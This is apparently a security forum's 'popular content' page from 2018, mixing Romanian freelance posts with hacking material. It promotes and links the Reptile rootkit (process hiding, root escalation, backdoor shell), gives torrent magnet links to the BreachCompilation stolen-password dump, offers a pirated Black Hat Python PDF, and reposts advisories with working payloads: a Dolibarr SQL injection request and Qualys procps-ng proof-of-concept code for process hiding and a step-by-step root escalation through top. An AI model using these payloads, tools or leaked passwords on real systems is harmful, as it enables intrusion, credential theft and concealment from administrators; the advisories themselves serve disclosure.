Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 05/31/18 in all areas

  1. Reptile is a Linux kernel module rootkit that hides files, processes, etc. It implements ICMP/UDP/TCP port-knocking backdoors, supports kernels 2.6.x/3.x/4.x, and more. Features Give root to unprivileged users Hide files and directories Hide files contents Hide processes Hide himself Hidden boot persistence Strings obfuscation. Method suggested by: [milabs](https://github.com/milabs) ICMP/UDP/TCP port-knocking backdoor Full TTY/PTY shell with file transfer Client to handle Reptile Shell Shell connect back each X times (not default) Content: Reptile-master\installer.sh Reptile-master\Makefile Reptile-master\README.md Reptile-master\rep_mod.c Reptile-master\sbin Reptile-master\sbin\aes.c Reptile-master\sbin\aes.h Reptile-master\sbin\client.c Reptile-master\sbin\Makefile Reptile-master\sbin\pel.c Reptile-master\sbin\pel.h Reptile-master\sbin\r00t.c Reptile-master\sbin\README.md Reptile-master\sbin\sha1.c Reptile-master\sbin\sha1.h Reptile-master\sbin\shell.c Reptile-master\scripts Reptile-master\scripts\bashrc Download: Reptile-master.zip (33.8 KB) Source
    3 points
  2. Mi-a facut logo-ul la site. Lucreaza repede si curat si te poti intelege cu el (lucru greu de realizat cu majoritatea). Preturi super ok. Recomand!
    2 points
  3. Understanding Java deserialization Some time ago I detailed PHP Object Injection vulnerabilities and this post will get into details of Java deserialization vulnerabilities. The concept is simple: developers use a feature of the programming language, serialization, to simplify their job, but they are not aware about the risks. Java deserialization is a vulnerability similar to deserialization vulnerabilities in other programming languages. This class of vulnerabilities came to life in 2006, it become more common and more exploited and it is now part of the OWASP Top 10 2017. Sursa: https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/
    2 points
  4. Din lipsa de timp, nu ma voi mai ocupa de aplicatiile desktop. Creez site-uri mici si mijlocii, scripturi, pagini, bug fixes, optimizari. Scriu cod curat si comentat. UPDATE: Dupa ce am vazut zeci de scripturi/pagini facute de unu si de altu', pot sa spun ca scriu caligrafic! Pentru site-uri complete ma pot ocupa si de gazduire si de configurarea serverului astfel incat site-ul sa fie predat "la cheie". Ofer si mentenanta unde este cazul. Backend: PHP + MySQL Frontend: HTML + CSS + jQuery / Bootstrap Metode de plata: Paypal sau Transfer bancar Plata: La finalizarea proiectului sau esalonat, de la caz la caz. Email: net_wav3@yahoo.com Skype: wav3ee Telegram: https://t.me/wav3e
    1 point
  5. wordlist created from original 41G stash via: grep -rohP '(?<=:).*$' | uniq > breachcompilation.txt Then, compressed with: 7z a breachcompilation.txt.7z breachcompilation.txt Size: 4.1G compressed 9.0G uncompressed No personal information included - just a list of passwords. magnet url: magnet:?xt=urn:btih:5a9ba318a5478769ddc7393f1e4ac928d9aa4a71&dn=breachcompilation.txt.7z full base magnet:?xt=urn:btih:7ffbcd8cee06aba2ce6561688cf68ce2addca0a3&dn=BreachCompilation&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fglotorrents.pw%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337 Mirror [944.4 MB, expands to 4.07 GB] Source: reddit.com
    1 point
  6. Iti adaugi niste led-uri? :? Sau, depinde de camera, ai putea sa-ti pui niste leduri IR, ca sa nu te deranjeze.
    1 point
  7. Author: Justin Seitz When it comes to hacking something, Python is there on the top of the list with hacking. Every hacker or penetration tester goes with python coding and scripts. Python is still very dominant language in the world of cyber security, even if the conversation about language of choice sometimes looks more like a war. Python programming based tools include all sort of fuzzers, proxies, and even the most dangerous exploits. Exploit frameworks like CANVAS are totally written in Python as more are obscure tools like PyEmu or Sulley. So, here’s a complete book about learning python used for hacking. Download black hat python pdf free of cost. Contents: Chapter 1: Setting Up Your Python Environment Chapter 2: The Network: Basics Chapter 3: The Network: Raw Sockets and Sniffing Chapter 4: Owning the Network with Scapy Chapter 5: Web Hackery Chapter 6: Extending Burp Proxy Chapter 7: GitHub Command and Control Chapter 8: Common Trojaning Tasks on Windows Chapter 9: Fun with Internet Explorer Chapter 10: Windows Privilege Escalation Chapter 11: Automating Offensive Forensics Download: Black-Hat-Python.pdf Password: EHT
    1 point
  8. # [CVE-2018-10094] Dolibarr SQL Injection vulnerability ## Description Dolibarr is an "Open Source ERP & CRM for Business" used by many companies worldwide. It is available through [GitHub](https://github.com/Dolibarr/dolibarr) or as distribution packages (e.g .deb package). **Threat** The application does not handle user input properly and allows execution of arbitrary SQL commands on the database. **Expectation** Prepared queries should be used in order to avoid SQL injection in user input. ## Vulnerability type **CVE ID**: CVE-2018-10094 **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-89 **CVSS Base Score**: 7.5 **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N ## Details The database connector escapes quotes with the `real_escape_string()` wrapper. However it is still possible to perform injection on integer parameters without quotes. ```php mysqli.class.php /** * Escape a string to insert data * * @param string $stringtoencode String to escape * @return string String escaped */ function escape($stringtoencode) { return $this->db->real_escape_string($stringtoencode); } ``` Additional checks are defined later, which forbit some SQL keywords (e.g `union`, `create`, `insert`). However, by url encoding the payload, these checks are bypassed. ```php main.inc.php /** * Security: SQL Injection and XSS Injection (scripts) protection (Filters on GET, POST, PHP_SELF). * * @param string $val Value * @param string $type 1=GET, 0=POST, 2=PHP_SELF * @return int >0 if there is an injection */ function test_sql_and_script_inject($val, $type) { $inj = 0; // For SQL Injection (only GET are used to be included into bad escaped SQL requests) if ($type == 1) { $inj += preg_match('/updatexml\(/i', $val); $inj += preg_match('/delete\s+from/i', $val); $inj += preg_match('/create\s+table/i', $val); $inj += preg_match('/insert\s+into/i', $val); $inj += preg_match('/select\s+from/i', $val); $inj += preg_match('/into\s+(outfile|dumpfile)/i', $val); } if ($type != 2) // Not common, we can check on POST { $inj += preg_match('/update.+set.+=/i', $val); $inj += preg_match('/union.+select/i', $val); $inj += preg_match('/(\.\.%2f)+/i', $val); } // For XSS Injection done by adding javascript with script // This is all cases a browser consider text is javascript: // When it found '<script', 'javascript:', '<style', 'onload\s=' on body tag, '="&' on a tag size with old browsers // All examples on page: http://ha.ckers.org/xss.html#XSScalc // More on https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet $inj += preg_match('/<script/i', $val); $inj += preg_match('/<iframe/i', $val); $inj += preg_match('/Set\.constructor/i', $val); // ECMA script 6 if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val); $inj += preg_match('/base[\s]+href/si', $val); $inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can be set on img or any html tag like <img title='...' onmouseover=alert(1)> $inj += preg_match('/onerror\s*=/i', $val); // onerror can be set on img or any html tag like <img title='...' onerror = alert(1)> $inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be set on input text html tag like <input type='text' value='...' onfocus = alert(1)> $inj += preg_match('/onload\s*=/i', $val); // onload can be set on svg tag <svg/onload=alert(1)> or other tag like body <body onload=alert(1)> $inj += preg_match('/onclick\s*=/i', $val); // onclick can be set on img text html tag like <img onclick = alert(1)> $inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be on textarea //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event handlers onAbort(), ... $inj += preg_match('/&#58;|&#0000058|&#x3A/i', $val); // refused string ':' encoded (no reason to have it encoded) to lock 'javascript:...' //if ($type == 1) //{ $inj += preg_match('/javascript:/i', $val); $inj += preg_match('/vbscript:/i', $val); //} // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param) if ($type == 1) $inj += preg_match('/"/i', $val); // We refused " in GET parameters value if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF is a file system path. It can contains spaces. return $inj; } ``` ## Proof of Concept : retrieving the database name. Payload: ``` 1) union select 0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# Url-encoded payload: %31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 ``` ```http GET /dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 HTTP/1.1 Host: dolibarr.lab:2080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5 Connection: close Upgrade-Insecure-Requests: 1 ... </a> </td> <td>10.1.26-MariaDB-0+deb9u1</td> <td>2</td> <td></td> <td>1</td> <td>21</td> <td class="nowrap"> ``` ## Affected versions * Version 7.0.0 (last stable version as of March 2018) - previous versions are probably also vulnerable but not tested ## Solution Update to 7.0.2 ([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog)) ## Timeline (dd/mm/yyyy) * 18/03/2018 : Initial discovery * 17/04/2018 : Contact with the editor * 17/04/2018 : Editor acknowledges the vulnerability * 18/04/2018 : Editor announces fixes in version 7.0.2 * 21/05/2018 : Vulnerability disclosure ## Credits * Issam RABHI (i dot rabhi at sysdream dot com) * Kevin LOCATI (k dot locati at sysdream dot com) -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream Source: exploit-db.com
    1 point
  9. Prowler Prowler is a Network Vulnerability Scanner implemented on a Raspberry Pi Cluster, first developed during Singapore Infosec Community Hackathon - HackSmith v1.0. Capabilities Scan a network (a particular subnet or a list of IP addresses) for all IP addresses associated with active network devices Determine the type of devices using fingerprinting Determine if there are any open ports on the device Associate the ports with common services Test devices against a dictionary of factory default and common credentials Notify users of security vulnerabilities through an dashboard. Dashboard tour Planned capabilities Greater variety of vulnerability assessment capabilities (webapp etc.) Select wordlist based on fingerprint Hardware Raspberry Pi Cluster HAT (with 4 * Pi Zero W) Raspberry Pi 3 Networking device Software Stack Raspbian Stretch (Controller Pi) Raspbian Stretch Lite (Worker Pi Zero) Note: For ease of setup, use the images provided by Cluster Hat! Instructions Python 3 (not tested on Python 2) Python packages see requirements.txt Ansible for managing the cluster as a whole (/playbooks) Key Python Package dispy (website) is the star of the show. It allows allows us to create a job queue that will be processed by the worker nodes. python-libnmap is the python wrapper around nmap, an open source network scanner. It allows us to scan for open ports on devices. paramiko is a python wrapper around SSH. We use it to probe SSH on devices to test for common credentials. eel is used for the web dashboard (seperate repository, here) rabbitmq (website) is used to pass the results from the cluster to the eel server that is serving the dashboard page. Ansible Playbooks For the playbooks to work, ansible must be installed (sudo pip3 install ansible). Configure the IP addresses of the nodes at /etc/ansible/hosts. WARNING: Your mileage may vary as these were only tested on my setup shutdown.yml and reboot.yml self-explanatory clone_repos.yml clone prowler and dispy repositories (required!) on the worker nodes setup_node.yml installs all required packages on the worker nodes. Does not clone the repositories! Deploying Prowler Clone the git repository: git clone https://github.com/tlkh/prowler.git Install dependencies by running sudo pip3 install -r requirements.txt on the controller Pi Run ansible-playbook playbooks/setup_node.yml to install the required packages on worker nodes. Clone the prowler and dispy repositories to the worker nodes using ansible-playbook playbooks/clone_repos.yml Run clusterhat on on the controller Pi to ensure that all Pi Zeros are powered up. Run python3 cluster.py on the controller Pi to start Prowler To edit the range of IP addresses being scanned, edit the following lines in cluster.py: test_range = [] for i in range(0, 1): for j in range(100, 200): test_range.append("172.22." + str(i) + "." + str(j)) Old Demos Cluster Scan Demonstration Jupyter Notebook Single Scan Demonstration Jupyter Notebook Try out the web dashboard here Useful Snippets To run ssh command on multiple devices, install pssh and pssh -h pssh-hosts -l username -A -i "command" To create the cluster (in compute.py): cluster = dispy.JobCluster(compute, nodes='pi0_ip', ip_addr='pi3_ip') Check connectivity: ansible all -m ping or ping p1.local -c 1 && ping p2.local -c 1 && ping p3.local -c 1 && ping p4.local -c 1 Temperature Check: /opt/vc/bin/vcgencmd measure_temp && pssh -h workers -l pi -A -i "/opt/vc/bin/vcgencmd measure_temp" | grep temp rpimonitor (how to install): Contribuitors: Faith See Wong Chi Seng Timothy Liu ABSOLUTELY NO WARRANTY WHATSOEVER! Feel free to submit issues though. Download: prowler-master.zip Source
    1 point
  10. Web-based multi-AV scanners, and malware sandboxes for automated analysis. anlyz.io - Online sandbox. any.run - Online interactive sandbox. AndroTotal - Free online analysis of APKs against multiple mobile antivirus apps. AVCaesar - Malware.lu online scanner and malware repository. Cryptam - Analyze suspicious office documents. Cuckoo Sandbox - Open source, self hosted sandbox and automated analysis system. cuckoo-modified - Modified version of Cuckoo Sandbox released under the GPL. Not merged upstream due to legal concerns by the author. cuckoo-modified-api - A Python API used to control a cuckoo-modified sandbox. DeepViz - Multi-format file analyzer with machine-learning classification. detux - A sandbox developed to do traffic analysis of Linux malwares and capturing IOCs. DRAKVUF - Dynamic malware analysis system. firmware.re - Unpacks, scans and analyzes almost any firmware package. HaboMalHunter - An Automated Malware Analysis Tool for Linux ELF Files. Hybrid Analysis - Online malware analysis tool, powered by VxSandbox. Intezer - Detect, analyze, and categorize malware by identifying code reuse and code similarities. IRMA - An asynchronous and customizable analysis platform for suspicious files. Joe Sandbox - Deep malware analysis with Joe Sandbox. Jotti - Free online multi-AV scanner. Limon - Sandbox for Analyzing Linux Malware. Malheur - Automatic sandboxed analysis of malware behavior. malsub - A Python RESTful API framework for online malware and URL analysis services. Malware config - Extract, decode and display online the configuration settings from common malwares. Malwr - Free analysis with an online Cuckoo Sandbox instance. Metadefender - Scan a file, hash or IP address for malware (free). NetworkTotal - A service that analyzes pcap files and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware using Suricata configured with EmergingThreats Pro. Noriben - Uses Sysinternals Procmon to collect information about malware in a sandboxed environment. PacketTotal - PacketTotal is an online engine for analyzing .pcap files, and visualizing the network traffic within. PDF Examiner - Analyse suspicious PDF files. ProcDot - A graphical malware analysis tool kit. Recomposer - A helper script for safely uploading binaries to sandbox sites. sandboxapi - Python library for building integrations with several open source and commercial malware sandboxes. SEE - Sandboxed Execution Environment (SEE) is a framework for building test automation in secured Environments. SEKOIA Dropper Analysis - Online dropper analysis (Js, VBScript, Microsoft Office, PDF). VirusTotal - Free online analysis of malware samples and URLs Visualize_Logs - Open source visualization library and command line tools for logs. (Cuckoo, Procmon, more to come...) Zeltser's List - Free automated sandboxes and services, compiled by Lenny Zeltser.
    1 point
  11. Author: Qualys Corporation CVE-2018-1120 CVE-2018-1121 CVE-2018-1122 CVE-2018-1123 CVE-2018-1124 Procps-ng Audit Report ======================================================================== Contents ======================================================================== Summary 1. FUSE-backed /proc/PID/cmdline 2. Unprivileged process hiding 3. Local Privilege Escalation in top (Low Impact) 4. Denial of Service in ps 5. Local Privilege Escalation in libprocps (High Impact) 5.1. Vulnerability 5.2. Exploitation 5.3. Exploitation details 5.4. Non-PIE exploitation 5.5. PIE exploitation Acknowledgments Patches.tar.gz.b64 ======================================================================== Summary ======================================================================== We performed a complete audit of procps-ng, the "command line and full screen utilities for browsing procfs, a 'pseudo' file system dynamically generated by the [Linux] kernel to provide information about the status of entries in its process table" (https://gitlab.com/procps-ng/procps). procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap, ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w, watch, and the necessary libprocps library. We discovered and submitted patches for more than a hundred bugs and vulnerabilities in procps-ng; for reference, our patches are available at: https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz and base64-encoded at the end of this advisory. In the remainder of this advisory, we present our most interesting findings: 1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120) An attacker can block any read() access to /proc/PID/cmdline by mmap()ing a FUSE file (Filesystem in Userspace) onto this process's command-line arguments. The attacker can therefore block pgrep, pidof, pkill, ps, and w, either forever (a denial of service), or for some controlled time (a synchronization tool for exploiting other vulnerabilities). 2. Unprivileged process hiding (CVE-2018-1121) An unprivileged attacker can hide a process from procps-ng's utilities, by exploiting either a denial of service (a rather noisy method) or a race condition inherent in reading /proc/PID entries (a stealthier method). 3. Local Privilege Escalation in top (CVE-2018-1122) top reads its configuration file from the current working directory, without any security check, if the HOME environment variable is unset or empty. In this very unlikely scenario, an attacker can carry out an LPE (Local Privilege Escalation) if an administrator executes top in /tmp (for example), by exploiting one of several vulnerabilities in top's config_file() function. 4. Denial of Service in ps (CVE-2018-1123) An attacker can overflow the output buffer of ps, when executed by another user, administrator, or script: a denial of service only (not an LPE), because ps mmap()s its output buffer and mprotect()s its last page with PROT_NONE (an effective guard page). 5. Local Privilege Escalation in libprocps (CVE-2018-1124) An attacker can exploit an integer overflow in libprocps's file2strvec() function and carry out an LPE when another user, administrator, or script executes a vulnerable utility (pgrep, pidof, pkill, and w are vulnerable by default; other utilities are vulnerable if executed with non-default options). Moreover, an attacker's process running inside a container can trigger this vulnerability in a utility running outside the container: the attacker can exploit this userland vulnerability and break out of the container or chroot. We will publish our proof-of-concept exploits in the near future. Additionally, CVE-2018-1125 has been assigned to 0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch. ======================================================================== 1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120) ======================================================================== In this experiment, we add a sleep(60) to hello_read() in https://github.com/libfuse/libfuse/blob/master/example/hello.c and compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the command-line arguments of a simple proof-of-concept: $ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello $ mkdir /tmp/fuse $ ./hello /tmp/fuse $ cat > fuse-backed-cmdline.c << "EOF" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) #define PAGESZ ((size_t)4096) int main(const int argc, const char * const argv[]) { if (argc <= 0) die(); const char * const arg_start = argv[0]; const char * const last_arg = argv[argc-1]; const char * const arg_end = last_arg + strlen(last_arg) + 1; if (arg_end <= arg_start) die(); const size_t len = arg_end - arg_start; if (len < 2 * PAGESZ) die(); char * const addr = (char *)(((size_t)arg_start + PAGESZ-1) & ~(PAGESZ-1)); if (addr < arg_start) die(); if (addr + PAGESZ > arg_end) die(); const int fd = open("/tmp/fuse/hello", O_RDONLY); if (fd <= -1) die(); if (mmap(addr, PAGESZ, PROT_READ, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die(); if (close(fd)) die(); for (; { sleep(1); } die(); } EOF $ gcc -Wall fuse-backed-cmdline.c -o fuse-backed-cmdline $ ./fuse-backed-cmdline `perl -e 'print "A" x 8192'` Then, if root executes ps (for example): # time ps ax PID TTY STAT TIME COMMAND ... real 1m0.021s user 0m0.003s sys 0m0.017s ======================================================================== 2. Unprivileged process hiding (CVE-2018-1121) ======================================================================== Several procps-ng utilities (pgrep, pidof, pkill, ps, w) read the /proc/PID/cmdline of every process running on the system; hence, an unprivileged attacker can hide a process (albeit noisily) by exploiting a denial of service in procps-ng (for example, the FUSE-backed denial of service, or one of the integer overflows in file2strvec()). Alternatively, we devised a stealthier method for hiding a process: 1/ fork() our process until it occupies the last PID (/proc/sys/kernel/pid_max - 1) or one of the last PIDs; 2/ monitor (with inotify) the /proc directory and the /proc/PID/stat file of one of the very first PIDs, for IN_OPEN events (opendir() and open()); 3/ when these events occur (when a procps-ng utility starts scanning /proc for /proc/PID entries), fork() our process until its PID wraps around and occupies one of the very first PIDs; 4/ monitor (with inotify) the /proc directory for an IN_CLOSE_NOWRITE event (closedir()); 5/ when this event occurs (when the procps-ng utility stops scanning /proc), go back to 1/. This simple method works, because the kernel's proc_pid_readdir() function returns the /proc/PID entries in ascending numerical order. Moreover, this race condition can be made deterministic by using a FUSE-backed /proc/PID/cmdline as a synchronization tool. $ cat > unprivileged-process-hiding.c << "EOF" #include <errno.h> #include <limits.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/inotify.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(void) { for (; { char lost[64]; { const pid_t hi = getpid(); pid_t lo = fork(); if (lo <= -1) die(); if (!lo) { /* child */ lo = getpid(); if (lo < hi) exit(EXIT_SUCCESS); /* parent continues */ for (; { if (kill(hi, 0) != -1) continue; if (errno != ESRCH) die(); break; } continue; } /* parent */ if (lo > hi) exit(EXIT_FAILURE); /* child continues */ int status = 0; if (waitpid(lo, &status, 0) != lo) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) != EXIT_SUCCESS) die(); printf("%d -> %d -> ", hi, lo); for (; { struct stat st; if (--lo <= 0) die(); snprintf(lost, sizeof(lost), "/proc/%d/stat", lo); if (stat(lost, &st) == 0) break; } printf("%d\n", lo); } const int pofd = inotify_init(); if (pofd <= -1) die(); if (inotify_add_watch(pofd, "/proc", IN_OPEN) <= -1) die(); const int lofd = inotify_init(); if (lofd <= -1) die(); if (inotify_add_watch(lofd, lost, IN_OPEN) <= -1) die(); const int pcfd = inotify_init(); if (pcfd <= -1) die(); if (inotify_add_watch(pcfd, "/proc", IN_CLOSE_NOWRITE) <= -1) die(); char buf[sizeof(struct inotify_event) + NAME_MAX + 1]; const struct inotify_event * const evp = (void *)buf; for (; { if (read(pofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); if (evp->mask & IN_ISDIR) break; } if (read(lofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); for (; { const pid_t hi = getpid(); pid_t lo = fork(); if (lo <= -1) die(); if (lo) exit(EXIT_SUCCESS); /* parent */ /* child */ lo = getpid(); if (lo < hi) { printf("%d -> %d\n", hi, lo); break; } } for (; { if (read(pcfd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); if (evp->mask & IN_ISDIR) break; } if (close(pofd)) die(); if (close(lofd)) die(); if (close(pcfd)) die(); } die(); } EOF $ gcc -Wall unprivileged-process-hiding.c -o unprivileged-process-hiding $ ./unprivileged-process-hiding Then, if root executes ps (for example): # ps ax | grep '[u]nprivileged-process-hiding' | wc 0 0 0 ======================================================================== 3. Local Privilege Escalation in top (CVE-2018-1122) ======================================================================== If a/ an administrator executes top in a directory writable by an attacker and b/ the HOME environment variable is unset or empty, then top reads its configuration file from the current working directory, without any security check: 3829 static void configs_read (void) { .... 3847 p_home = getenv("HOME"); 3848 if (!p_home || p_home[0] == '\0') 3849 p_home = "."; 3850 snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", p_home, Myname); 3851 3852 if (!(fp = fopen(Rc_name, "r"))) { .... 3865 if (fp) { 3866 p = config_file(fp, Rc_name, &tmp_delay); Although b/ is very unlikely, we developed a simple command-line method for exploiting one of the vulnerabilities in config_file(), when top is not a PIE (Position-Independent Executable). For example, on Ubuntu 16.04.4: $ file /usr/bin/top /usr/bin/top: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e64fe2c89ff07ca4ce5d169078586d2854628a29, stripped First, we dump a clean configuration file to /tmp/.toprc, by running top and pressing the 'W' key: $ cd /tmp $ env -u HOME top W q Second, we add an arbitrary "inspect" command to this configuration file (inspect commands are normally executed when the user presses the 'Y' key): $ echo -e 'pipe\tname\tid>>/tmp/top.%d.%lx' >> .toprc To execute our inspect command without user interaction, we will emulate the 'Y' key by jumping directly into inspection_utility(), at 0x40a989 (the fflush(stdout) is INSP_BUSY's last instruction): 3442 static void inspection_utility (int pid) { .... 3496 case kbd_ENTER: 3497 INSP_BUSY; 3498 Insp_sel = &Inspect.tab[sel]; 3499 Inspect.tab[sel].func(Inspect.tab[sel].fmts, pid); 40a97d: 48 8b 3d 1c f8 20 00 mov 0x20f81c(%rip),%rdi # 61a1a0 <stdout> 40a984: e8 67 7f ff ff callq 4028f0 <fflush@plt> 40a989: 48 63 05 2c f9 20 00 movslq 0x20f92c(%rip),%rax # 61a2bc 40a990: 8b 74 24 74 mov 0x74(%rsp),%esi 40a994: 48 c1 e0 06 shl $0x6,%rax 40a998: 48 03 05 61 11 23 00 add 0x231161(%rip),%rax # 63bb00 40a99f: 48 89 05 12 11 23 00 mov %rax,0x231112(%rip) # 63bab8 40a9a6: 48 8b 78 18 mov 0x18(%rax),%rdi 40a9aa: ff 10 callq *(%rax) 40a9ac: 5b pop %rbx To jump directly into inspection_utility(), we will take control of top's execution flow, by exploiting a vulnerability in config_file(). "sortindx" is read from the configuration file without any sanity check, and is later used by window_show() to access a struct FLD_t which contains a function pointer "sort": 5876 static int window_show (WIN_t *q, int wmax) { .... 5894 qsort(q->ppt, Frame_maxtask, sizeof(proc_t*), Fieldstab[q->rc.sortindx].sort); 40de01: ba 08 00 00 00 mov $0x8,%edx 40de06: 48 c1 e0 05 shl $0x5,%rax 40de0a: 48 8b 88 30 99 61 00 mov 0x619930(%rax),%rcx 40de11: e8 7a 47 ff ff callq 402590 <qsort@plt> To take control of this function pointer, we will write 0x40a989's LSW (Least Significant Word, 32 bits) into "graph_mems" and 0x40a989's MSW (Most Significant Word, 32 bits) into "summclr", which are read from the configuration file and written to 0x63ed30 (and 0x63ed34), a memory location accessible by 0x619930+(sortindx<<0x5): 3676 static const char *config_file (FILE *fp, const char *name, float *delay) { .... 3710 if (3 > fscanf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d, graph_cpus=%d, graph_mems=%d\n" 3711 , &w->rc.winflags, &w->rc.sortindx, &w->rc.maxtasks, &w->rc.graph_cpus, &w->rc.graph_mems)) 3712 return p; 3713 if (4 != fscanf(fp, "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n" 3714 , &w->rc.summclr, &w->rc.msgsclr 3715 , &w->rc.headclr, &w->rc.taskclr)) 3716 return p; 406f90: 4d 8d b5 30 ed 63 00 lea 0x63ed30(%r13),%r14 ....... 406fa9: 41 56 push %r14 ....... 406fb3: e8 d8 b7 ff ff callq 402790 <fscanf@plt> ....... 406fca: 49 8d 95 34 ed 63 00 lea 0x63ed34(%r13),%rdx ....... 406fe5: e8 a6 b7 ff ff callq 402790 <fscanf@plt> Next, we modify the configuration file's "graph_mems", "summclr", and "sortindx" accordingly: $ sed -i s/'graph_mems=[0-9]*'/graph_mems=$((0x40a989))/ .toprc $ sed -i s/'summclr=[0-9]*'/summclr=0/ .toprc $ sed -i s/'sortindx=[0-9]*'/sortindx=$(((0x63ed30-0x619930)>>0x5))/ .toprc Last, we turn off the View_MEMORY bit in the configuration file's "winflags", to prevent summary_show() from crashing because of our out-of-bounds "graph_mems": 314 #define View_MEMORY 0x001000 // 'm' - display memory summary 5418 static void summary_show (void) { .... 5499 if (isROOM(View_MEMORY, 2)) { .... 5540 if (w->rc.graph_mems) { .... 5559 ix = w->rc.graph_mems - 1; .... 5572 snprintf(util, sizeof(util), gtab[ix].swap, (int)((pct_swap * Graph_adj) + .5), gtab[ix].type); $ winflags=`grep -m 1 winflags= .toprc | sed s/'.*winflags=\([0-9]*\).*'/'\1'/` $ sed -i s/'winflags=[0-9]*'/winflags=$((winflags&~0x001000))/ .toprc Then, if an administrator executes top in /tmp, without a HOME environment variable (or with an empty HOME environment variable): # cat /tmp/top.* cat: '/tmp/top.*': No such file or directory # cd /tmp # env -u HOME top ... signal 11 (SEGV) was caught by top, please see http://www.debian.org/Bugs/Reporting Segmentation fault (core dumped) # cat /tmp/top.* uid=0(root) gid=0(root) groups=0(root) ======================================================================== 4. Denial of Service in ps (CVE-2018-1123) ======================================================================== ps's functions pr_args(), pr_comm(), and pr_fname() are vulnerable to an mmap-based buffer overflow of outbuf (ps's output buffer): 401 static int pr_args(char *restrict const outbuf, const proc_t *restrict const pp){ 402 char *endp = outbuf; 403 int rightward = max_rightward; 404 int fh = forest_helper(outbuf); 405 406 endp += fh; 407 rightward -= fh; 408 409 if(pp->cmdline && !bsd_c_option) 410 endp += escaped_copy(endp, *pp->cmdline, OUTBUF_SIZE, &rightward); 411 else 412 endp += escape_command(endp, pp, OUTBUF_SIZE, &rightward, ESC_DEFUNCT); 413 414 if(bsd_e_option && rightward>1) { 415 if(pp->environ && *pp->environ) { 416 *endp++ = ' '; 417 rightward--; 418 endp += escape_strlist(endp, pp->environ, OUTBUF_SIZE, &rightward); 419 } 420 } 421 return max_rightward-rightward; 422 } The number of bytes written to endp by the escape*() functions is added to endp (a pointer into outbuf), but never subtracted from OUTBUF_SIZE. Normally "rightward" prevents this buffer overflow, because the maximum number of "cells" written to outbuf is OUTBUF_SIZE, and is equal to the number of "bytes" written to 